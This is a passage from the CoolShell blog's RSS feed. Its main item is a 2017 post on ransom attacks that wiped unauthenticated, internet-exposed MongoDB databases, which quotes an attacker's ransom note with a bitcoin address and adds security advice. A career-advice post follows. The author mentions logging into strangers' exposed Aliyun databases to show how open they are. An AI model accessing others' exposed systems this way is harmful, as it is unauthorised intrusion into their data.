href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17634.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>63</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>从 MongoDB “赎金事件” 看安全问题</title>\n\t\t<link>https://coolshell.cn/articles/17607.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17607.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 07 Jan 2017 09:11:28 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[Bitcoin]]></category>\n\t\t<category><![CDATA[MongoDB]]></category>\n\t\t<category><![CDATA[ransom]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17607</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天上午（2017年1月7日），我的微信群中同时出现了两个MongoDB被黑掉要赎金的情况，于是在调查过程中，发现了这个事件。这个事件应该是2017年开年的第一...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17607.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17607.html\">从 MongoDB “赎金事件” 看安全问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-sup_wechat_big wp-image-17621\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-360x200.jpg\" alt=\"\" width=\"360\" height=\"200\" />今天上午（2017年1月7日），我的微信群中同时出现了两个MongoDB被黑掉要赎金的情况，于是在调查过程中，发现了这个事件。这个事件应该是2017年开年的第一次比较大的安全事件吧，发现国内居然没有什么报道，国内安全圈也没有什么动静（当然，他们也许知道，只是不想说吧），Anyway，让我这个非安全领域的人来帮补补位。</p>\n<h4>事件回顾</h4>\n<p>这个事情应该是从2017年1月3日进入公众视野的，是由安全圈的大拿 Victor Gevers （网名：<a href=\"https://twitter.com/0xDUDE\" target=\"_blank\">0xDUDE</a>，<span class=\"js-display-url\"><a class=\"twitter-timeline-link\" dir=\"ltr\" title=\"http://GDI.foundation\" href=\"http://GDI.foundation\" target=\"_blank\" rel=\"nofollow noopener\" data-expanded-url=\"http://GDI.foundation\">GDI.foundation</a> </span>的Chairman），其实，他早在2016年12月27日就发现了一些在互联网上用户的MongoDB没有任何的保护措施，被攻击者把数据库删除了，并留下了一个叫 WARNING 的数据库，这张表的内容如下：</p>\n<pre><code class=\"language-sql\">{\n    \"_id\" : ObjectId(\"5859a0370b8e49f123fcc7da\"),\n    \"mail\" : \"harak1r1@sigaint.org\",\n    \"note\" : \"SEND 0.2 BTC TO THIS ADDRESS 13zaxGVjj9MNc2jyvDRhLyYpkCh323MsMq AND CONTACT THIS EMAIL WITH YOUR IP OF YOUR SERVER TO RECOVER YOUR DATABASE !\"\n}</code></pre>\n<p>基本上如下所示：</p>\n<p><span id=\"more-17607\"></span></p>\n<figure id=\"attachment_17609\" aria-describedby=\"caption-attachment-17609\" style=\"width: 646px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-17609\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-ransom.png\" alt=\"MongoDB ransom demand (via Victor Gevers)\" width=\"646\" height=\"332\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-ransom.png 646w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-ransom-300x154.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-ransom-525x270.png 525w\" sizes=\"(max-width: 646px) 100vw, 646px\" /><figcaption id=\"caption-attachment-17609\" class=\"wp-caption-text\">MongoDB ransom demand (via Victor Gevers)</figcaption></figure>\n<p>说白了就是黑客留下的东西——<strong>老子把你的MongoDB里的数据库给转走了，如果你要你的数据的话，给我0.2个的比特币（大约USD200）</strong>。然后，他的twitter上不断地发布这个“赎金事件”的跟踪报道。与此同时，中国区的V2EX上也发现了相关的攻击问题 《<a href=\"https://www.v2ex.com/t/331887\" target=\"_blank\">自己装的 mongo 没有设置密码结果被黑了</a>》</p>\n<p>然后，在接下来的几天内，全球大约有1800个MongoDB的数据库被黑，这个行为来自一个叫 Harak1r1 的黑客组织（这个组织似乎就好黑MongoDB，据说他们历史上干了近8500个MongoDB的数据库，几乎都是在祼奔的MongoDB）。</p>\n<p>不过，这个组织干了两天后就停手了，可能是因为这事已经引起了全球科技媒体的注意，产生了大量的报道（如果你在Google News里查一下“<a href=\"https://www.google.com/webhp?sourceid=chrome-instant&amp;ion=1&amp;espv=2&amp;ie=UTF-8#q=mongodb+ransom&amp;newwindow=1&amp;tbm=nws\" target=\"_blank\">mongodb ransom</a>”，你会看到大量的报道（中文社区中，只有<a href=\"https://unwire.pro/2017/01/05/2000-mongodb-ransom/security/\" target=\"_blank\">台湾有相关的报道</a>）），他们也许是不敢再搞下去了。</p>\n<p>不过，很快，有几个copycats开始接着干，</p>\n<p>马上跟进的是 own3d ，他们留下的数据库的名字叫 WARNING_ALERT，他们至少干掉了 930个MongoDB，赎金0.5个比特币（USD500），至少有3个用户付费了</p>\n<p>然后是0704341626asdf，他们留下的数据库名字叫PWNED，他们至少干掉了740个MongoDB，赎金0.15个比特币（USD150），看看他们在数据库里留下的文字——<strong>你的MongoDB没有任何的认证，并且暴露在公网里（你TMD是怎么想的？）……</strong></p>\n<figure id=\"attachment_17610\" aria-describedby=\"caption-attachment-17610\" style=\"width: 616px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-17610\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-Group-3.jpg\" alt=\"0704341626asdf group ransom note (via Victor Gerves)\" width=\"616\" height=\"236\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-Group-3.jpg 616w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-Group-3-300x115.jpg 300w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-Group-3-604x231.jpg 604w\" sizes=\"(max-width: 616px) 100vw, 616px\" /><figcaption id=\"caption-attachment-17610\" class=\"wp-caption-text\">0704341626asdf group ransom note (via Victor Gerves)</figcaption></figure>\n<p>就在这两天，有两个新的黑客也来了</p>\n<ul>\n<li>先是kraken0，发现到现在1天了，干了13个MongoDB，赎金 0.1个比特币。</li>\n<li>然后是 3lix1r，发现到现在5个小时，干了17个MongoDB，赎金0.25比特币。</li>\n</ul>\n<p>BBC新闻也于昨天报道了这一情况——《<a href=\"http://www.bbc.com/news/technology-38521973\" target=\"_blank\">Web databases hit in ransom attacks</a>》，现在这个事情应该是一个Big News了。</p>\n<h4>关于MongoDB的安全</h4>\n<p>安全问题从来都是需要多方面一起努力，但是安全问题最大的短板就是在用户这边。这次的这个事，说白了，就是用户没有给MongoDB设置上用户名和口令，然后还把服务公开到了公网上。</p>\n<p>是的，这个安全事件，相当的匪夷所思，为什么这些用户要在公网上祼奔自己的数据库？他们的脑子是怎么想的？</p>\n<p>让我们去看一下Shodan上可以看到的有多少个在暴露在公网上而且没有防范的MongoDB？我了个去！<strong>4万7千个，还是很触目惊心的</strong>（下图来自我刚刚创建的 <a href=\"https://www.shodan.io/report/h0bgF6zM\" target=\"_blank\">Shodan关于MongoDB的报表</a>）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-17614\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan-1024x485.png\" alt=\"\" width=\"640\" height=\"303\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan-1024x485.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan-300x142.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan-768x364.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan-570x270.png 570w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan.png 1124w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>&nbsp;</p>\n<p>那么，怎么会有这么多的对外暴露的MongoDB？看了一下Shodan的报告，发现主要还是来自公有云平台，Amazon，Alibaba，Digital Ocean，OVH，Azure 的云平台上有很多这样的服务。不过，像AWS这样的云平台，有很完善的默认安全组设置和VPC是可以不把这样的后端服务暴露到公有云上的，为什么还会有那么多？</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17616\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Org.png\" width=\"650\" height=\"403\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Org.png 867w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Org-300x186.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Org-768x476.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Org-436x270.png 436w\" sizes=\"(max-width: 650px) 100vw, 650px\" /></p>\n<p>&nbsp;</p>\n<p>这么大量的暴露在公网上的服务是怎么回事？有人发现（参看这篇文章《<a href=\"https://blog.shodan.io/its-the-data-stupid/\" target=\"_blank\">It&#8217;s the Data, Stupid!</a>》 ），MongoDB历史上一直都是把侦听端口绑在所有的IP上的，这个问题在5年前（2011年11月）就报给了MongoDB (<a href=\"https://jira.mongodb.org/browse/SERVER-4216\" target=\"_blank\">SERVER-4216</a>)，结果2014年4月才解决掉。所以，他觉得可能似乎 MongoDB的 2.6之前的版本都会默认上侦听在0.0.0.0 。</p>\n<p>于是我做了一个小试验，到我的Ubuntu 14.04上去 <code>apt-get install mongodb</code>（2.4.9版），然后我在<code>/etc/mongodb.conf</code> 文件中，看到了默认的配置是127.0.0.1，mongod启动也侦听在了127.0.0.1这台机器上。一切正常。不过，可能是时过境迁，debain的安装包里已加上了这个默认配置文件。不管怎么样，MongoDB似乎是有一些问题的。</p>\n<p>再到Shodan上看到相关的在公网裸奔的MongoDB的版本如下，发现3.x的也是主流：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17615\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Version.png\" width=\"650\" height=\"410\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Version.png 888w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Version-300x189.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Version-768x484.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Version-428x270.png 428w\" sizes=\"(max-width: 650px) 100vw, 650px\" /></p>\n<p>&nbsp;</p>\n<p>虽然，3.x的版本成为了主流，但是似乎，还是有很多人把MongoDB的服务开到了互联网上来，而且可以随意访问。</p>\n<p><strong>你看，我在阿里云随便找了几台机器，一登就登上去了。</strong></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17617\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Aliyun.png\" width=\"300\" height=\"587\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Aliyun.png 640w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Aliyun-153x300.png 153w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Aliyun-523x1024.png 523w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Aliyun-138x270.png 138w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></p>\n<p>真是如那些黑客中的邮件所说的：WTF，你们是怎么想的？</p>\n<h4>后续的反思</h4>\n<p>为什么还是有这么多的MongoDB在公网上祼奔呢？难道有这么多的用户都是小白？这个原因，是什么呢？我觉得可能会是如下两个原因：</p>\n<p style=\"padding-left: 30px;\">1）一是技术人员下载了mongod的软包，一般来说，mongodb的压缩包只有binary文件 ，没有配置文件 ，所以直接解开后运行，结果就没有安全认证，也绑在了公网上。也许，MongoDB这么做的原因就是为了可以快速上手，不要在环境上花太多的时间，这个有助于软件方面的推广。但是，这样可能就坑了更多的人。</p>\n<p style=\"padding-left: 30px;\">2）因为MongoDB是后端基础服务，所以，需要很多内部机器防问，按道理呢，应该绑定在内网IP上，但是呢，可能是技术人员不小心，绑在了0.0.0.0的IP上。</p>\n<p>那么，这个问题在云平台上是否可以更好的解决呢？</p>\n<p><strong>关于公网的IP。</strong>一般来说，公有云平台上的虚拟主机都会有一个公网的IP地址，老实说，这并不是一个好的方法，因为有很多主机是不需要暴露到公网上的，所以，也就不需要使用公网IP，于是，就会出现弹性IP或虚拟路由器以及VPC这样的虚拟网络服务，这样用户在公有云就可以很容易的组网，也就没有必要每台机器都需要一个公网IP，使用云平台，最好还是使用组网方案比较好的平台。</p>\n<p><strong>关于安全组</strong>。在AWS上，你开一台EC2，会有一个非常严格的安全组——只暴露22端口，其它的全部对外网关闭。这样做，其实是可以帮用户防止一下不小心把不必要的服务Open到公网上。按道理来说，AWS上应该是帮用户防了这些的。但是，AWS上的MongoDB祼奔的机器数量是最多的，估计和AWS的EC2的 基数有关系吧（据说AWS有千万台左右的EC2了）</p>\n<p>最后，提醒大家一下，被黑了也不要去付赎金，因为目前来说没有任何证据证明黑客们真正保存了你的数据，因为，被黑的服务器太多了，估计有几百T的数据，估计是不会为你保存的。下面也是Victor Gevers的提示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17619\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Twitter.png\" alt=\"\" width=\"507\" height=\"213\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Twitter.png 507w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Twitter-300x126.png 300w\" sizes=\"(max-width: 507px) 100vw, 507px\" /></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/11973.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/09/bashbug-150x150.jpg\" alt=\"bash代码注入的安全漏洞\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11973.html\" class=\"wp_rp_title\">bash代码注入的安全漏洞</a></li><li ><a href=\"http://coolshell.cn/articles/6976.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/61e04755jw1drlo96bsktj-150x150.jpg\" alt=\"谈谈数据安全和云存储\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/6976.html\" class=\"wp_rp_title\">谈谈数据安全和云存储</a></li><li ><a href=\"http://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"http://coolshell.cn/articles/11021.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png\" alt=\"从“黑掉Github”学Web安全开发\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11021.html\" class=\"wp_rp_title\">从“黑掉Github”学Web安全开发</a></li><li ><a href=\"http://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"http://coolshell.cn/articles/6424.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"Hash Collision DoS 问题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/6424.html\" class=\"wp_rp_title\">Hash Collision DoS 问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17607.html\">从 MongoDB “赎金事件” 看安全问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17607.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>44</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>技术人员的发展之路</title>\n\t\t<link>https://coolshell.cn/articles/17583.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17583.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 28 Dec 2016 04:29:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Job]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17583</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2012年的时候写过一篇叫《程序算法与人生选择》的文章，我用算法来类比如何做选择，说白了就是怎么去计算，但是并没有讲程序员可以发展的方向有哪些。 所以，就算是有...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17583.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17583.html\">技术人员的发展之路</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-sup_wechat_big wp-image-17587\" src=\"https://coolshell.cn/wp-content/uploads/2016/12/people-360x200.jpg\" alt=\"\" width=\"360\" height=\"200\" />2012年的时候写过一篇叫《<a href=\"https://coolshell.cn/articles/8790.html\" target=\"_blank\">程序算法与人生选择</a>》的文章，我用算法来类比如何做选择，说白了就是怎么去计算，但是并没有讲程序员可以发展的方向有哪些。 所以，就算是有这些所谓的方法论，我们可能对自己的发展还是会很纠结和无所事从，尤其是人到了30岁，这种彷徨和迷惑越来越重。虽然我之前也写过一篇《<a href=\"https://coolshell.cn/articles/10688.html\" target=\"_blank\">编程年龄和编程技能</a>》的文章，但是还是有很多做技术的人对于自己能否在年纪大时还能去做技术感到没有信心。我猜测，这其中，最大的问题的是，目前从事技术工作的种种负面的经历（比如经常性的加班，被当成棋子或劳动力等等），让人完全看不到希望和前途，尤其是随着年纪越来越大，对未来的越来越没有信心。</p>\n<p>同时，也是因为在GIAC的大会被问到，程序员老了怎么办？而在年底这段时间，也和几个朋友在交流中不断地重复谈到个人发展的这个话题。我的人生过半，活到“不惑”的年纪，自然经常性的对什么事都会回头看看总结归纳，所以，在交谈过程中和交谈过后，自己也有一些思考想记录下来。因为我本人也是在这条路上的人，所以，谈不上给他人指导，我同样也是在瞎乱折腾同样每天在思考自己要去哪儿的“一尘世间迷途老生”。况且，我的经历和眼界非常有限，因此，下面的这些关于个人发展的文字和思考必然是受我的眼界和经历所局限的。也欢迎大家补充和指正。</p>\n<p>这些东西不一定对，也不一定就是全部，期许可以让你在年底的时候有所思考，在明年的时候有所计划。</p>\n<h4>一个重要阶段和标志</h4>\n<p>在讲个人发展之前，我需要先说一下人生中的一个非常重要的阶段——<strong>20到30岁！</strong></p>\n<p><strong>这个阶段的首要任务，就是提升自己学习能力和解决难题的能力。</strong><strong>这是一个非常非常关键的时间段！这个时间段几乎决定着你的未来。</strong></p>\n<p><span id=\"more-17583\"></span></p>\n<p>30岁以前，这个时间段，应该是人学习和积累的时间段，这个时间段，就是努力学习的时间段。这个时间段，你一定要把时间花在解决问题的技能上。就是说，你一定要练就成的技能是——你能解决大多数人不能解决的问题。使蛮力埋头加班苦干，当一个搬砖老黄牛的是肯定没有前途的。如果你不幸呆在了一个搬砖的地方，天天被业务压得喘不过气来，我建议你宁可让你的项目延期被老板骂，也要把时间挤出来努力学习基础知识，多掌握一些技术（很多技术在思路上是相通的），然后才能有机会改变自己目前的状况。因为，比起你的个人未来，项目延期被老板骂、绩效不好拿不到奖金，都不是什么事儿。</p>\n<p>总结一下，你在30岁前，工作5-7年，你需要拥有：</p>\n<ul>\n<li><strong>高效的学习能力</strong>。这意味着——基础知识扎实、触类旁通、读英文文档不费劲、有寻找前沿知识的能力、能够看到问题和技术的本质、善于思辩、能独立思考。</li>\n</ul>\n<ul>\n<li><strong>解决问题的能力</strong>。这意味着——你要高效的学习能力、见过很多的场景、犯过或是处理很多错误、能够防火而不是救火。</li>\n</ul>\n<p>如果你拥有这两个能力的现象是—— <strong>在团队或身边的人群中的显现出Leadership</strong>。</p>\n<p>Leadership并不是当领导和经理，而是一种特征，这种特征有如下两个简单的表象：</p>\n<ul>\n<li><strong>帮人解问题</strong>。团队或身边中大多数人都在问：“这问题怎么办？”，而总是你能站出来告诉大家这事该怎么办？</li>\n</ul>\n<ul>\n<li><strong>被人所依赖</strong>。团队或身边中大多数人在做比较关键的决定时，都会来找你咨询你的意见和想法。</li>\n</ul>\n<p>一但你在在30岁之间出现了Leadership这样的特征，那么，你会进入一个正循环的阶段：</p>\n<ul>\n<li>因为你学习能力强，所以，你会有更多的机会解决难题。</li>\n<li>你有更多的机会解决难题，你就会学更多的东西，于是你就会更强。</li>\n<li>上面这个循环，只要循环上几年，就会让你人生的各种可能性大大的增加。</li>\n</ul>\n<p><strong>【 注意 】</strong></p>\n<ul>\n<li>要达到这样的特质，需要找到自己的长处、以及适合自己的环境。就像鱼的特长是呆在水里，让鱼儿去追求陆上动物的刺激生活并不靠谱。</li>\n</ul>\n<ul>\n<li>一般说来，有这样的潜质的人，在学校中就应该要出现。如果你在大学中还没有出现这样的潜质，那么，你在工作当中要加倍努力了（注：所谓的加倍努力，不是让你使蛮力加班，而是让你多学习成长，使蛮力拼命是弥补不了能力、思维、眼界上的缺陷的）。</li>\n</ul>\n<ul>\n<li>Leadership也有范围的，比如，身边的朋友，工作中的团队/部分，圈内，整个行业。Leadership的范围越大，你的个人发展的选择性就越高。反之则越小。</li>\n</ul>\n<ul>\n<li>如果已到了30岁左右，还是没有出现这样的特征。那么，可能未来你也很难有这样的Leadership了。而你的个人发展的可能性可能也就不多了（sigh&#8230;）</li>\n</ul>\n<p><strong>读到这里，我必需要说一下，如果你已开始显现出你的Leadership，那么你才谈得上个人发展，这篇文章后续的内容也可能才会对你有意义</strong>。</p>\n<h4>个人发展的三个方向</h4>\n<p>以我个人短浅的经历和视野，目前只看到的人的发展有如下三个大方向（他们之间可能会有重叠）：</p>\n<p style=\"padding-left: 30px;\">1）<strong>在职场中打拼</strong></p>\n<p style=\"padding-left: 30px;\">2）<strong>去经历有意义有价值的事</strong></p>\n<p style=\"padding-left: 30px;\">3）<strong>追求一种自由的生活</strong></p>\n<p>这三个方向，我个人或多或少都体验过，我也见过身边的很多人走这三个方向走的比较成功。也许还有别的方向，没办法，现在，我的视野就这么大，所以，我在这里，我主要就是谈谈这三个方向。Again，<strong>人有资格去走这三个方向的前提是——已有了上面我说的Leadership那种特质！</strong></p>\n<h4>一、在职场中发展</h4>\n<p>在职场中发展应该是绝大多数人的选择。通过加入公司来达到人生的发展。</p>\n<p>我们经常可以看到很多所谓的“职业规划”，但是大多数职业规划只不过人力资源搞出来的东西，和实际其实是有很大出入的。我的人生经历中，有18年左右是在公司中度过的，在过银行，小公司，大公司，民营公司，外国公司，传统IT公司，互联网公司，不同的公司完全有不同的玩法和文化，我的经历还算丰富，但也不算特别成功，这里只分享一些我在职场中的心得（不一定对，仅供参考）。</p>\n<h5>1、去顶尖公司</h5>\n<p><strong>去顶尖公司的一个目的就是让你的Leadership的范围的可能性扩大</strong>。</p>\n<p>因为公司和公司的差距也不小，所以，就算你在低端公司里是骨干份子，但在高端公司里可能只是一个普通员工（就像中国足球队的主力到了英超可能都无法入选）。所以，在职场中，如果你要让你的个人价值最大化的话，你一定要去顶尖的公司。因为顶尖公司里有非常不错的工作方法和场景，这并不是能看书或是交流得来的，这是必需要去亲身体验的。所以说，在顶尖公司掌握的技能，开阔的眼界，通常来说都会比低端公司的要多得多。</p>\n<p>另外，每个公司的工作级别都是有相互对标的，比如：阿里的P几对应于百度的T几。国内的一线公司职位还相当，但是如果和国外一线公司的比，那就有差距了，而且差距还很大。比如，Google或Facebook的某个高级工程师，可能就对应于阿里的P8/P9甚至更高。</p>\n<p>是的，对于职场来说，如果你在顶尖公司是骨干，那么，你去低端公司，则有很大机会会成为他们高管和核心。就好像你在Facebook里干三五年成为他们的技术骨干，那么你到BAT去成成为高管概率是非常大的。反过来，如果你毕业主去了BAT成为了一个螺丝钉，在天天加班中度过你的青春，你干个十年能成为BAT的高管的概率可能会非常的低。</p>\n<h5>2、去真正的创业公司</h5>\n<p>去顶尖公司和去创业公司在某些时候并不冲突。不过，这里我想讲的是，一个技术能力强的人在大公司可能会被埋没掉。因为大公司业务成功后，</p>\n<ul>\n<li>成功的公司在招聘各种高级技术人才都不会成为问题，于是少你一个不少，多你一个不多。</li>\n</ul>\n<ul>\n<li>成功的公司其整个技术体系已经完成，Legacy的问题也比较多，所以，可以供你发挥的余地不大。</li>\n</ul>\n<ul>\n<li>成功的公司更多的可能会想要稳定的系统，稳定必然会产生保守，而保守则产生不思进取。</li>\n</ul>\n<p>所以，对于中高级人才来说，在大公司里的能产生的个人价值，可能远远不如那些求贤若渴、没有包袱、可以尽情施展、相对更为灵活和自由的创业型公司。</p>\n<p>不过，去创业公司需要小心仔细的挑选和评估，创业公司的不确定因素很多，也和创始人的因素太大了，所以，你需要小心了解创始人和他们的业务情况，想法和理念差不多才能更好的共事。</p>\n<p>好多创业公司其实并不是真正的创业公司，他们创业有很大的侥幸和驱利心理，要小心甄别。因为那不是真正的创业公司。</p>\n<h5>3、职业生涯的发展阶段</h5>\n<p>首先，有一个不争事实——<strong>整个社会是会把最重要的工作交给30岁左右的这群人的